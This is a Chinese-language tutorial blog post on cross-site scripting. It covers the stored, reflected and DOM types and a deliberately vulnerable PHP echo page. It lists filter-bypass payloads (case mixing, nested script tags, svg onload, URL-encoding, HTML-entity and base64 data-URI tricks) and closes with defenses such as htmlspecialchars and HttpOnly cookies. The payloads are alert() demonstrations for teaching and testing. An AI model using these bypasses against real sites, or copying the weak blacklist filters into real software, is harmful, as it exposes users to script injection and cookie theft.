XSS注入原理以及一些绕过姿势

介绍

XSS——跨站脚本攻击。通过这个攻击手段,攻击者可以将恶意的 JavaScript 代码插入存在 XSS 漏洞的 Web 页面中,当用户浏览带有恶意代码的页面时,这些恶意代码会被触发,从而达到攻击的目的。可以说,XSS 是针对用户层面的攻击。

XSS的分类

通常,我们把 XSS 分为三个类型,即 存储型反射型DOM型。不同的类型原理各有差异,而且注入的点也不同。

存储型

存储型的 XSS,最大的特点是可持久化,因为在过滤条件差的情况下,存储型的 XSS 的恶意代码会直接被保存在服务器端的数据库中。而这个恶意代码被服务器读出输出到用户端的Web页面时,恶意代码会执行,从而达到攻击的目的。可以说存储型 XSS 是影响范围最大的 XSS。通常出现在评论、文章发表等可由用户输入,并随着服务器读出的地方,容易造成蠕虫,盗窃cookie等严重影响。

攻击流程大概是这样的:

攻击者在正常服务器中注入XSS代码,且被服务器储存在了数据库中
用户在网站登录状态下,访问了恶意服务器,且浏览了存在恶意脚本的页面
正常服务器将页面信息与XSS脚本一同返回
客户端解析了页面信息与XSS脚本代码,这时脚本代码会被执行,甚至会向攻击者的恶意服务器主动发起请求
此时,攻击者就可以从自己的恶意服务器中读取用户数据

反射型

非持久化,且需要使用钓鱼等手段欺骗用户点击恶意链接才能触发恶意代码。一般反射型 XSS 会出现在搜索页面,且大多数是用来获取用户的 cookie 信息的。虽然影响范围最大的是存储型的 XSS,但是现在针对存储型 XSS 的防御非常完备,所以在利用上,反射型的利用率还是比存储型高些。

攻击流程大概是这样的:

攻击者发送带有XSS恶意的脚本链接给客户(该链接是正常服务器存在注入点的链接,且带着我们注入的内容)
客户点击了恶意链接并访问了正常服务器
服务器将XSS与页面信息返回客户端
客户端解析后请求恶意服务器
攻击者读取用户信息

DOM型

DOM 型的 XSS 注入与反射型原理类似,只不过 DOM 型的 XSS 注入不需要经过后端代码处理,而是在前端 JavaScript 调用 DOM 元素时可能产生的漏洞,可能触发 DOM 型 XSS 的 JavaScript 代码:

document.referer    返回跳转或打开到当前页面的页面的URI
window.name         可设置或返回存放窗口的名称的一个字符串
location            可以设置窗口跳转或者返回当前窗口的地址
innerHTML           内嵌HTML代码
documen.write       页面内写入字符

综上存储型的 XSS 危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,只要被攻击者访问了该页面就会遭受攻击。而反射型和 DOM 型的 XSS 则需要我们去诱使用户点击我们构造的恶意的URL,需要我们和用户有直接或者间接的接触,比如利用社会工程学或者利用在其他网页挂马的方式。

XSS的危害

请添加图片描述

XSS的注入

所有能被XSS注入的地方,都有一个共同的特点:存在允许用户输入的地方,且未对用户的输入进行检查或者检查机制不够完备。这样就极有可能产生XSS注入。
一般注入手法是先关闭外围的标签,再插入我们注入的内容,如

<div>
	user input
</div>

可以用

</div><script>[XSS]</script><div>

的手法进行注入,此时,代码就会变成以下这种形式

<div></div>
	<script>[XSS]</script>
<div></div>

在页面加载的时候就会把我们的恶意代码给加载出来
同理,在注释标签以及其他各种HTML的属性值中也可以进行注入。

XSS的注入与一些绕过

接下来,我们构造一个简单的 XSS 注入,再看看一些绕过手法。
我们使用 PHPStudy,快速搭建一个Web环境

前端代码:

<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>XSS测试</title>
</head>
<body>
    <form action="xss.php" method="post">
       你试试:  <input type="text" name="test" /> <br/>
        <input type="submit" value="提交">
    </form>
</body>
</html>

后端代码:

<?php
	$text=$_POST["test"];
	echo $text;
?>

效果图:
请添加图片描述
点击提交后会在页面上打出输入的文字
请添加图片描述
接下来我们尝试注入,直接输入<script>alert('1')</script>
结果如下(在最新版本 chrome 下不成功,估计是直接ban掉了 XSS 的注入,我换到 edge 下成功了)
请添加图片描述


接下来我们来分析一下防御与绕过
一般来说,我们可以通过一些函数将 XSS 的某些关键字符过滤,如 preg_replace(),来防止注入。但是攻防是不断发展的,有防御,自然就有绕过,下面整理一下一些防御与绕过的姿势。

过滤引号 ‘’ 或 “”

<?php
	$text=$_POST["test"];
	if($text!=null){
	$text=preg_replace("/'/","",$text);    //过滤'
	$text=preg_replace("/\"/","",$text);   //过滤"
	echo $text; 
}
?>

当引号被过滤时,我们的字符串就无法被输出了,这时可以用 “/[string]/”来代替,这样就可以将字符串内容打出来
比如:<script>alert(/haha/)</script>

绕过前:我们注入的内容无法被输出
请添加图片描述
请添加图片描述

绕过后:将想要输出的字符串打印弹框成功
请添加图片描述

过滤script标签

<?php
	$text=$_POST["test"];
	if($text!=null){
	$text=preg_replace("/<script>/","",$text);    //过滤<script>
	$text=preg_replace("/<\/script>/","",$text);   //过滤</script>
	echo $text;
}
?>

当 script 标签被过滤时,我们的 JavaScript 代码就无法被解析,但是这种只是过滤死了 script 小写形式,我们还是可以用大小写混淆的方法进行注入。
比如:<scripT>alert(/haha/)</scripT>

绕过前:我们的 JavaScript 代码内容被直接输出了
请添加图片描述
绕过后:
请添加图片描述

过滤script标签(不区分大小写)

<?php
	$text=$_POST["test"];
	if($text!=null){
	$text=preg_replace("/<script>/i","",$text);    //过滤<script>
	$text=preg_replace("/<\/script>/i","",$text);   //过滤</script>
	echo $text;
}
?>

加上i之后,过滤范围变成了不区分大小写,此时,可以使用嵌套的script标签进行绕过
比如:<scr<script>ipt>alert(/haha/)</scr</script>ipt>

绕过前:我们的js代码内容被直接输出了
请添加图片描述
绕过后:
请添加图片描述

过滤script标签(不区分大小写,过滤script及其之间的所有内容)

<?php
	$text=$_POST["test"];
	if($text!=null){
	$text=preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $text); //过滤了<script  及其之间的所有内容
	echo $text;
}
?>

此处用正则匹配的方式过滤了 script 及其之间的所有内容,虽然无法使用 script 标签注入 XSS 代码,但是可以通过 img、body 等标签的事件或者 iframe 等标签的 src 注入恶意的 JavaScript 代码。
比如:<svg onload="alert(1)">

绕过前:
请添加图片描述
绕过后:
请添加图片描述

服务器端代码存在 url 解码的情况

<?php
	$text=$_POST["test"];
	if($text!=null){
	$text=preg_replace("/</","&lt;",$text);    //将<转化为html实体
	$text=preg_replace("/>/","&gt;",$text);   //将>转化为html实体

	$text = urldecode($text);
	echo $text;
}
?>

此处将‘<’与‘>’转化为了html实体,但是由于代码中存在 url 解码相关的函数,我们就可以先对’<‘与’>'进行url 编码,从而绕过实体转化。
比如:%3cscript%3ealert(1)%3c/script%3e

绕过前:
请添加图片描述
绕过后:
请添加图片描述

其他XSS注入标签

之前的演示中使用的都是 <script> 标签,但是能利用 XSS 的恶意脚本中可使用的标签远远不止 <script>标签。

下面列举其中某些常见的 XSS 注入方式

真实场景中遇到的 XSS 注入语句远不止这么点,这里不多赘述

使用某些标签的on方法

<body onload="alert('xss')"></body>
<input onfocus="alert('1')" autofocus/>

使用html实体编码绕过变形

<input onfocus="&#97&#108&#101&#114&#116&#40&#39&#49&#39&#41" autofocus/>

使用 src 的方式在script标签中使用 Data URI scheme 直接嵌入文本

<script src="data:text/html,alert('1')"></script>

在 iframe 标签中使用 Data URI scheme 直接嵌入 BASE64 编码后的文本

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>

使用html实体编码 BASE64 编码之后的 Data URI scheme

<script src="&#100;&#97;&#116;&#97;&#58;&#116;&#101;&#120;&#116;&#47;&#104;&#116;&#109;&#108;&#59;&#98;&#97;&#115;&#101;&#54;&#52;&#44;&#89;&#87;&#120;&#108;&#99;&#110;&#81;&#111;&#74;&#122;&#69;&#110;&#75;&#81;&#61;&#61;"></script>
<iframe src="&#100;&#97;&#116;&#97;&#58;&#116;&#101;&#120;&#116;&#47;&#104;&#116;&#109;&#108;&#59;&#98;&#97;&#115;&#101;&#54;&#52;&#44;&#80;&#72;&#78;&#106;&#99;&#109;&#108;&#119;&#100;&#68;&#53;&#104;&#98;&#71;&#86;&#121;&#100;&#67;&#103;&#110;&#77;&#83;&#99;&#112;&#80;&#67;&#57;&#122;&#89;&#51;&#74;&#112;&#99;&#72;&#81;&#43;"></iframe>

XSS的防御

对于 XSS,总体的防御思路大概是:

对用户的输入(和URL参数)进行过滤,对输出进行html编码。

也就是对用户提交的所有内容进行过滤,对 url 中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。

对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的 XSS 攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝 XSS 攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。

对输出进行html编码,就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本运行。

在PHP中通常使用** htmlspecialchars 函数对用户输入的name参数进行html编码**,将其转换为html实体。这个方法可以直接将‘<’,‘>’等与 XSS 有关的内容进行实体化,可以阻挡绝大多数 XSS 的攻击。

我们还可以服务端设置会话 Cookie 的 HTTP Only 属性,这样,客户端的 JavaScript 脚本就不能获取 Cookie 信息了

总结

以上就是我找到的一些绕过技巧。到这里我想说两句,针对不同的情况,绕过的手段是不同的,具体情况还是得具体分析。只要是人写出来的代码,总会有一定的漏洞,绕过与修补就是系统安全性不断提高的一个过程,只要不断学习,总会发现代码中可以被绕过的地方。

  • 10
    点赞
  • 45
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1A_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值